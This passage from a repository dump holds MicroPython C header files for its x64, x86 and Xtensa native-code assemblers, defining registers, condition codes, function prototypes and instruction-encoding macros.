LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMX64_H #define MICROPY_INCLUDED_PY_ASMX64_H #include "py/mpconfig.h" #include "py/misc.h" #include "py/asmbase.h" // AMD64 calling convention is: // - args pass in: RDI, RSI, RDX, RCX, R08, R09 // - return value in RAX // - stack must be aligned on a 16-byte boundary before all calls // - RAX, RCX, RDX, RSI, RDI, R08, R09, R10, R11 are caller-save // - RBX, RBP, R12, R13, R14, R15 are callee-save // In the functions below, argument order follows x86 docs and generally // the destination is the first argument. // NOTE: this is a change from the old convention used in this file and // some functions still use the old (reverse) convention. #define ASM_X64_REG_RAX (0) #define ASM_X64_REG_RCX (1) #define ASM_X64_REG_RDX (2) #define ASM_X64_REG_RBX (3) #define ASM_X64_REG_RSP (4) #define ASM_X64_REG_RBP (5) #define ASM_X64_REG_RSI (6) #define ASM_X64_REG_RDI (7) #define ASM_X64_REG_R08 (8) #define ASM_X64_REG_R09 (9) #define ASM_X64_REG_R10 (10) #define ASM_X64_REG_R11 (11) #define ASM_X64_REG_R12 (12) #define ASM_X64_REG_R13 (13) #define ASM_X64_REG_R14 (14) #define ASM_X64_REG_R15 (15) // condition codes, used for jcc and setcc (despite their j-name!) #define ASM_X64_CC_JB (0x2) // below, unsigned #define ASM_X64_CC_JZ (0x4) #define ASM_X64_CC_JE (0x4) #define ASM_X64_CC_JNZ (0x5) #define ASM_X64_CC_JNE (0x5) #define ASM_X64_CC_JL (0xc) // less, signed #define ASM_X64_CC_JGE (0xd) // greater or equal, signed #define ASM_X64_CC_JLE (0xe) // less or equal, signed #define ASM_X64_CC_JG (0xf) // greater, signed typedef struct _asm_x64_t { mp_asm_base_t base; int num_locals; } asm_x64_t; static inline void asm_x64_end_pass(asm_x64_t *as) { (void)as; } void asm_x64_nop(asm_x64_t* as); void asm_x64_push_r64(asm_x64_t* as, int src_r64); void asm_x64_pop_r64(asm_x64_t* as, int dest_r64); void asm_x64_mov_r64_r64(asm_x64_t* as, int dest_r64, int src_r64); void asm_x64_mov_i64_to_r64(asm_x64_t* as, int64_t src_i64, int dest_r64); void asm_x64_mov_i64_to_r64_optimised(asm_x64_t *as, int64_t src_i64, int dest_r64); void asm_x64_mov_i64_to_r64_aligned(asm_x64_t *as, int64_t src_i64, int dest_r64); void asm_x64_mov_r8_to_mem8(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp); void asm_x64_mov_r16_to_mem16(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp); void asm_x64_mov_r32_to_mem32(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp); void asm_x64_mov_r64_to_mem64(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp); void asm_x64_mov_mem8_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64); void asm_x64_mov_mem16_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64); void asm_x64_mov_mem32_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64); void asm_x64_mov_mem64_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64); void asm_x64_and_r64_r64(asm_x64_t *as, int dest_r64, int src_r64); void asm_x64_or_r64_r64(asm_x64_t *as, int dest_r64, int src_r64); void asm_x64_xor_r64_r64(asm_x64_t *as, int dest_r64, int src_r64); void asm_x64_shl_r64_cl(asm_x64_t* as, int dest_r64); void asm_x64_sar_r64_cl(asm_x64_t* as, int dest_r64); void asm_x64_add_r64_r64(asm_x64_t* as, int dest_r64, int src_r64); void asm_x64_sub_r64_r64(asm_x64_t* as, int dest_r64, int src_r64); void asm_x64_mul_r64_r64(asm_x64_t* as, int dest_r64, int src_r64); void asm_x64_cmp_r64_with_r64(asm_x64_t* as, int src_r64_a, int src_r64_b); void asm_x64_test_r8_with_r8(asm_x64_t* as, int src_r64_a, int src_r64_b); void asm_x64_setcc_r8(asm_x64_t* as, int jcc_type, int dest_r8); void asm_x64_jmp_label(asm_x64_t* as, mp_uint_t label); void asm_x64_jcc_label(asm_x64_t* as, int jcc_type, mp_uint_t label); void asm_x64_entry(asm_x64_t* as, int num_locals); void asm_x64_exit(asm_x64_t* as); void asm_x64_mov_local_to_r64(asm_x64_t* as, int src_local_num, int dest_r64); void asm_x64_mov_r64_to_local(asm_x64_t* as, int src_r64, int dest_local_num); void asm_x64_mov_local_addr_to_r64(asm_x64_t* as, int local_num, int dest_r64); void asm_x64_call_ind(asm_x64_t* as, void* ptr, int temp_r32); #if GENERIC_ASM_API // The following macros provide a (mostly) arch-independent API to // generate native code, and are used by the native emitter. #define ASM_WORD_SIZE (8) #define REG_RET ASM_X64_REG_RAX #define REG_ARG_1 ASM_X64_REG_RDI #define REG_ARG_2 ASM_X64_REG_RSI #define REG_ARG_3 ASM_X64_REG_RDX #define REG_ARG_4 ASM_X64_REG_RCX #define REG_ARG_5 ASM_X64_REG_R08 // caller-save #define REG_TEMP0 ASM_X64_REG_RAX #define REG_TEMP1 ASM_X64_REG_RDI #define REG_TEMP2 ASM_X64_REG_RSI // callee-save #define REG_LOCAL_1 ASM_X64_REG_RBX #define REG_LOCAL_2 ASM_X64_REG_R12 #define REG_LOCAL_3 ASM_X64_REG_R13 #define REG_LOCAL_NUM (3) #define ASM_T asm_x64_t #define ASM_END_PASS asm_x64_end_pass #define ASM_ENTRY asm_x64_entry #define ASM_EXIT asm_x64_exit #define ASM_JUMP asm_x64_jmp_label #define ASM_JUMP_IF_REG_ZERO(as, reg, label) \ do { \ asm_x64_test_r8_with_r8(as, reg, reg); \ asm_x64_jcc_label(as, ASM_X64_CC_JZ, label); \ } while (0) #define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \ do { \ asm_x64_test_r8_with_r8(as, reg, reg); \ asm_x64_jcc_label(as, ASM_X64_CC_JNZ, label); \ } while (0) #define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \ do { \ asm_x64_cmp_r64_with_r64(as, reg1, reg2); \ asm_x64_jcc_label(as, ASM_X64_CC_JE, label); \ } while (0) #define ASM_CALL_IND(as, ptr, idx) asm_x64_call_ind(as, ptr, ASM_X64_REG_RAX) #define ASM_MOV_REG_TO_LOCAL asm_x64_mov_r64_to_local #define ASM_MOV_IMM_TO_REG asm_x64_mov_i64_to_r64_optimised #define ASM_MOV_ALIGNED_IMM_TO_REG asm_x64_mov_i64_to_r64_aligned #define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \ do { \ asm_x64_mov_i64_to_r64_optimised(as, (imm), (reg_temp)); \ asm_x64_mov_r64_to_local(as, (reg_temp), (local_num)); \ } while (false) #define ASM_MOV_LOCAL_TO_REG asm_x64_mov_local_to_r64 #define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_x64_mov_r64_r64((as), (reg_dest), (reg_src)) #define ASM_MOV_LOCAL_ADDR_TO_REG asm_x64_mov_local_addr_to_r64 #define ASM_LSL_REG(as, reg) asm_x64_shl_r64_cl((as), (reg)) #define ASM_ASR_REG(as, reg) asm_x64_sar_r64_cl((as), (reg)) #define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_x64_or_r64_r64((as), (reg_dest), (reg_src)) #define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_x64_xor_r64_r64((as), (reg_dest), (reg_src)) #define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_x64_and_r64_r64((as), (reg_dest), (reg_src)) #define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_x64_add_r64_r64((as), (reg_dest), (reg_src)) #define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_x64_sub_r64_r64((as), (reg_dest), (reg_src)) #define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_x64_mul_r64_r64((as), (reg_dest), (reg_src)) #define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem64_to_r64((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_x64_mov_mem64_to_r64((as), (reg_base), 8 * (word_offset), (reg_dest)) #define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem8_to_r64zx((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem16_to_r64zx((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem32_to_r64zx((as), (reg_base), 0, (reg_dest)) #define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_x64_mov_r64_to_mem64((as), (reg_src), (reg_base), 0) #define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_x64_mov_r64_to_mem64((as), (reg_src), (reg_base), 8 * (word_offset)) #define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_x64_mov_r8_to_mem8((as), (reg_src), (reg_base), 0) #define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_x64_mov_r16_to_mem16((as), (reg_src), (reg_base), 0) #define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_x64_mov_r32_to_mem32((as), (reg_src), (reg_base), 0) #endif // GENERIC_ASM_API #endif // MICROPY_INCLUDED_PY_ASMX64_H ================================================ FILE: micropython/inc/py/asmx86.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMX86_H #define MICROPY_INCLUDED_PY_ASMX86_H #include "py/mpconfig.h" #include "py/misc.h" #include "py/asmbase.h" // x86 cdecl calling convention is: // - args passed on the stack in reverse order // - return value in EAX // - caller cleans up the stack after a call // - stack must be aligned to 16-byte boundary before all calls // - EAX, ECX, EDX are caller-save // - EBX, ESI, EDI, EBP, ESP, EIP are callee-save // In the functions below, argument order follows x86 docs and generally // the destination is the first argument. // NOTE: this is a change from the old convention used in this file and // some functions still use the old (reverse) convention. #define ASM_X86_REG_EAX (0) #define ASM_X86_REG_ECX (1) #define ASM_X86_REG_EDX (2) #define ASM_X86_REG_EBX (3) #define ASM_X86_REG_ESP (4) #define ASM_X86_REG_EBP (5) #define ASM_X86_REG_ESI (6) #define ASM_X86_REG_EDI (7) // x86 passes values on the stack, but the emitter is register based, so we need // to define registers that can temporarily hold the function arguments. They // need to be defined here so that asm_x86_call_ind can push them onto the stack // before the call. #define ASM_X86_REG_ARG_1 ASM_X86_REG_EAX #define ASM_X86_REG_ARG_2 ASM_X86_REG_ECX #define ASM_X86_REG_ARG_3 ASM_X86_REG_EDX #define ASM_X86_REG_ARG_4 ASM_X86_REG_EBX #define ASM_X86_REG_ARG_5 ASM_X86_REG_ESI // condition codes, used for jcc and setcc (despite their j-name!) #define ASM_X86_CC_JB (0x2) // below, unsigned #define ASM_X86_CC_JZ (0x4) #define ASM_X86_CC_JE (0x4) #define ASM_X86_CC_JNZ (0x5) #define ASM_X86_CC_JNE (0x5) #define ASM_X86_CC_JL (0xc) // less, signed #define ASM_X86_CC_JGE (0xd) // greater or equal, signed #define ASM_X86_CC_JLE (0xe) // less or equal, signed #define ASM_X86_CC_JG (0xf) // greater, signed typedef struct _asm_x86_t { mp_asm_base_t base; int num_locals; } asm_x86_t; static inline void asm_x86_end_pass(asm_x86_t *as) { (void)as; } void asm_x86_mov_r32_r32(asm_x86_t* as, int dest_r32, int src_r32); void asm_x86_mov_i32_to_r32(asm_x86_t *as, int32_t src_i32, int dest_r32); void asm_x86_mov_i32_to_r32_aligned(asm_x86_t *as, int32_t src_i32, int dest_r32); void asm_x86_mov_r8_to_mem8(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp); void asm_x86_mov_r16_to_mem16(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp); void asm_x86_mov_r32_to_mem32(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp); void asm_x86_mov_mem8_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32); void asm_x86_mov_mem16_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32); void asm_x86_mov_mem32_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32); void asm_x86_and_r32_r32(asm_x86_t *as, int dest_r32, int src_r32); void asm_x86_or_r32_r32(asm_x86_t *as, int dest_r32, int src_r32); void asm_x86_xor_r32_r32(asm_x86_t *as, int dest_r32, int src_r32); void asm_x86_shl_r32_cl(asm_x86_t* as, int dest_r32); void asm_x86_sar_r32_cl(asm_x86_t* as, int dest_r32); void asm_x86_add_r32_r32(asm_x86_t* as, int dest_r32, int src_r32); void asm_x86_sub_r32_r32(asm_x86_t* as, int dest_r32, int src_r32); void asm_x86_mul_r32_r32(asm_x86_t* as, int dest_r32, int src_r32); void asm_x86_cmp_r32_with_r32(asm_x86_t* as, int src_r32_a, int src_r32_b); void asm_x86_test_r8_with_r8(asm_x86_t* as, int src_r32_a, int src_r32_b); void asm_x86_setcc_r8(asm_x86_t* as, mp_uint_t jcc_type, int dest_r8); void asm_x86_jmp_label(asm_x86_t* as, mp_uint_t label); void asm_x86_jcc_label(asm_x86_t* as, mp_uint_t jcc_type, mp_uint_t label); void asm_x86_entry(asm_x86_t* as, mp_uint_t num_locals); void asm_x86_exit(asm_x86_t* as); void asm_x86_mov_arg_to_r32(asm_x86_t *as, int src_arg_num, int dest_r32); void asm_x86_mov_local_to_r32(asm_x86_t* as, int src_local_num, int dest_r32); void asm_x86_mov_r32_to_local(asm_x86_t* as, int src_r32, int dest_local_num); void asm_x86_mov_local_addr_to_r32(asm_x86_t* as, int local_num, int dest_r32); void asm_x86_call_ind(asm_x86_t* as, void* ptr, mp_uint_t n_args, int temp_r32); #if GENERIC_ASM_API // The following macros provide a (mostly) arch-independent API to // generate native code, and are used by the native emitter. #define ASM_WORD_SIZE (4) #define REG_RET ASM_X86_REG_EAX #define REG_ARG_1 ASM_X86_REG_ARG_1 #define REG_ARG_2 ASM_X86_REG_ARG_2 #define REG_ARG_3 ASM_X86_REG_ARG_3 #define REG_ARG_4 ASM_X86_REG_ARG_4 #define REG_ARG_5 ASM_X86_REG_ARG_5 // caller-save, so can be used as temporaries #define REG_TEMP0 ASM_X86_REG_EAX #define REG_TEMP1 ASM_X86_REG_ECX #define REG_TEMP2 ASM_X86_REG_EDX // callee-save, so can be used as locals #define REG_LOCAL_1 ASM_X86_REG_EBX #define REG_LOCAL_2 ASM_X86_REG_ESI #define REG_LOCAL_3 ASM_X86_REG_EDI #define REG_LOCAL_NUM (3) #define ASM_T asm_x86_t #define ASM_END_PASS asm_x86_end_pass #define ASM_ENTRY asm_x86_entry #define ASM_EXIT asm_x86_exit #define ASM_JUMP asm_x86_jmp_label #define ASM_JUMP_IF_REG_ZERO(as, reg, label) \ do { \ asm_x86_test_r8_with_r8(as, reg, reg); \ asm_x86_jcc_label(as, ASM_X86_CC_JZ, label); \ } while (0) #define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \ do { \ asm_x86_test_r8_with_r8(as, reg, reg); \ asm_x86_jcc_label(as, ASM_X86_CC_JNZ, label); \ } while (0) #define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \ do { \ asm_x86_cmp_r32_with_r32(as, reg1, reg2); \ asm_x86_jcc_label(as, ASM_X86_CC_JE, label); \ } while (0) #define ASM_CALL_IND(as, ptr, idx) asm_x86_call_ind(as, ptr, mp_f_n_args[idx], ASM_X86_REG_EAX) #define ASM_MOV_REG_TO_LOCAL asm_x86_mov_r32_to_local #define ASM_MOV_IMM_TO_REG asm_x86_mov_i32_to_r32 #define ASM_MOV_ALIGNED_IMM_TO_REG asm_x86_mov_i32_to_r32_aligned #define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \ do { \ asm_x86_mov_i32_to_r32(as, (imm), (reg_temp)); \ asm_x86_mov_r32_to_local(as, (reg_temp), (local_num)); \ } while (false) #define ASM_MOV_LOCAL_TO_REG asm_x86_mov_local_to_r32 #define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_x86_mov_r32_r32((as), (reg_dest), (reg_src)) #define ASM_MOV_LOCAL_ADDR_TO_REG asm_x86_mov_local_addr_to_r32 #define ASM_LSL_REG(as, reg) asm_x86_shl_r32_cl((as), (reg)) #define ASM_ASR_REG(as, reg) asm_x86_sar_r32_cl((as), (reg)) #define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_x86_or_r32_r32((as), (reg_dest), (reg_src)) #define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_x86_xor_r32_r32((as), (reg_dest), (reg_src)) #define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_x86_and_r32_r32((as), (reg_dest), (reg_src)) #define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_x86_add_r32_r32((as), (reg_dest), (reg_src)) #define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_x86_sub_r32_r32((as), (reg_dest), (reg_src)) #define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_x86_mul_r32_r32((as), (reg_dest), (reg_src)) #define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem32_to_r32((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_x86_mov_mem32_to_r32((as), (reg_base), 4 * (word_offset), (reg_dest)) #define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem8_to_r32zx((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem16_to_r32zx((as), (reg_base), 0, (reg_dest)) #define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem32_to_r32((as), (reg_base), 0, (reg_dest)) #define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 0) #define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 4 * (word_offset)) #define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_x86_mov_r8_to_mem8((as), (reg_src), (reg_base), 0) #define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_x86_mov_r16_to_mem16((as), (reg_src), (reg_base), 0) #define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 0) #endif // GENERIC_ASM_API #endif // MICROPY_INCLUDED_PY_ASMX86_H ================================================ FILE: micropython/inc/py/asmxtensa.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMXTENSA_H #define MICROPY_INCLUDED_PY_ASMXTENSA_H #include "py/asmbase.h" // calling conventions: // up to 6 args in a2-a7 // return value in a2 // PC stored in a0 // stack pointer is a1, stack full descending, is aligned to 16 bytes // callee save: a1, a12, a13, a14, a15 // caller save: a3 #define ASM_XTENSA_REG_A0 (0) #define ASM_XTENSA_REG_A1 (1) #define ASM_XTENSA_REG_A2 (2) #define ASM_XTENSA_REG_A3 (3) #define ASM_XTENSA_REG_A4 (4) #define ASM_XTENSA_REG_A5 (5) #define ASM_XTENSA_REG_A6 (6) #define ASM_XTENSA_REG_A7 (7) #define ASM_XTENSA_REG_A8 (8) #define ASM_XTENSA_REG_A9 (9) #define ASM_XTENSA_REG_A10 (10) #define ASM_XTENSA_REG_A11 (11) #define ASM_XTENSA_REG_A12 (12) #define ASM_XTENSA_REG_A13 (13) #define ASM_XTENSA_REG_A14 (14) #define ASM_XTENSA_REG_A15 (15) // for bccz #define ASM_XTENSA_CCZ_EQ (0) #define ASM_XTENSA_CCZ_NE (1) // for bcc and setcc #define ASM_XTENSA_CC_NONE (0) #define ASM_XTENSA_CC_EQ (1) #define ASM_XTENSA_CC_LT (2) #define ASM_XTENSA_CC_LTU (3) #define ASM_XTENSA_CC_ALL (4) #define ASM_XTENSA_CC_BC (5) #define ASM_XTENSA_CC_ANY (8) #define ASM_XTENSA_CC_NE (9) #define ASM_XTENSA_CC_GE (10) #define ASM_XTENSA_CC_GEU (11) #define ASM_XTENSA_CC_NALL (12) #define ASM_XTENSA_CC_BS (13) // macros for encoding instructions (little endian versions) #define ASM_XTENSA_ENCODE_RRR(op0, op1, op2, r, s, t) \ ((((uint32_t)op2) << 20) | (((uint32_t)op1) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RRI4(op0, op1, r, s, t, imm4) \ (((imm4) << 20) | ((op1) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RRI8(op0, r, s, t, imm8) \ ((((uint32_t)imm8) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RI16(op0, t, imm16) \ (((imm16) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RSR(op0, op1, op2, rs, t) \ (((op2) << 20) | ((op1) << 16) | ((rs) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_CALL(op0, n, offset) \ (((offset) << 6) | ((n) << 4) | (op0)) #define ASM_XTENSA_ENCODE_CALLX(op0, op1, op2, r, s, m, n) \ ((((uint32_t)op2) << 20) | (((uint32_t)op1) << 16) | ((r) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0)) #define ASM_XTENSA_ENCODE_BRI8(op0, r, s, m, n, imm8) \ (((imm8) << 16) | ((r) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0)) #define ASM_XTENSA_ENCODE_BRI12(op0, s, m, n, imm12) \ (((imm12) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RRRN(op0, r, s, t) \ (((r) << 12) | ((s) << 8) | ((t) << 4) | (op0)) #define ASM_XTENSA_ENCODE_RI7(op0, s, imm7) \ ((((imm7) & 0xf) << 12) | ((s) << 8) | ((imm7) & 0x70) | (op0)) typedef struct _asm_xtensa_t { mp_asm_base_t base; uint32_t cur_const; uint32_t num_const; uint32_t *const_table; uint32_t stack_adjust; } asm_xtensa_t; void asm_xtensa_end_pass(asm_xtensa_t *as); void asm_xtensa_entry(asm_xtensa_t *as, int num_locals); void asm_xtensa_exit(asm_xtensa_t *as); void asm_xtensa_op16(asm_xtensa_t *as, uint16_t op); void asm_xtensa_op24(asm_xtensa_t *as, uint32_t op); // raw instructions static inline void asm_xtensa_op_add(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 8, reg_dest, reg_src_a, reg_src_b)); } static inline void asm_xtensa_op_addi(asm_xtensa_t *as, uint reg_dest, uint reg_src, int imm8) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 12, reg_dest, reg_src, imm8 & 0xff)); } static inline void asm_xtensa_op_and(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 1, reg_dest, reg_src_a, reg_src_b)); } static inline void asm_xtensa_op_bcc(asm_xtensa_t *as, uint cond, uint reg_src1, uint reg_src2, int32_t rel8) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(7, cond, reg_src1, reg_src2, rel8 & 0xff)); } static inline void asm_xtensa_op_bccz(asm_xtensa_t *as, uint cond, uint reg_src, int32_t rel12) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_BRI12(6, reg_src, cond, 1, rel12 & 0xfff)); } static inline void asm_xtensa_op_callx0(asm_xtensa_t *as, uint reg) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALLX(0, 0, 0, 0, reg, 3, 0)); } static inline void asm_xtensa_op_j(asm_xtensa_t *as, int32_t rel18) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALL(6, 0, rel18 & 0x3ffff)); } static inline void asm_xtensa_op_jx(asm_xtensa_t *as, uint reg) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALLX(0, 0, 0, 0, reg, 2, 2)); } static inline void asm_xtensa_op_l8ui(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint byte_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 0, reg_base, reg_dest, byte_offset & 0xff)); } static inline void asm_xtensa_op_l16ui(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint half_word_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 1, reg_base, reg_dest, half_word_offset & 0xff)); } static inline void asm_xtensa_op_l32i(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint word_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 2, reg_base, reg_dest, word_offset & 0xff)); } static inline void asm_xtensa_op_l32i_n(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint word_offset) { asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(8, word_offset & 0xf, reg_base, reg_dest)); } static inline void asm_xtensa_op_l32r(asm_xtensa_t *as, uint reg_dest, uint32_t op_off, uint32_t dest_off) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RI16(1, reg_dest, ((dest_off - ((op_off + 3) & ~3)) >> 2) & 0xffff)); } static inline void asm_xtensa_op_mov_n(asm_xtensa_t *as, uint reg_dest, uint reg_src) { asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(13, 0, reg_src, reg_dest)); } static inline void asm_xtensa_op_movi(asm_xtensa_t *as, uint reg_dest, int32_t imm12) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 10, (imm12 >> 8) & 0xf, reg_dest, imm12 & 0xff)); } static inline void asm_xtensa_op_movi_n(asm_xtensa_t *as, uint reg_dest, int imm4) { asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RI7(12, reg_dest, imm4)); } static inline void asm_xtensa_op_mull(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 2, 8, reg_dest, reg_src_a, reg_src_b)); } static inline void asm_xtensa_op_or(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 2, reg_dest, reg_src_a, reg_src_b)); } static inline void asm_xtensa_op_ret_n(asm_xtensa_t *as) { asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(13, 15, 0, 0)); } static inline void asm_xtensa_op_s8i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint byte_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 4, reg_base, reg_src, byte_offset & 0xff)); } static inline void asm_xtensa_op_s16i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint half_word_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 5, reg_base, reg_src, half_word_offset & 0xff)); } static inline void asm_xtensa_op_s32i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint word_offset) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 6, reg_base, reg_src, word_offset & 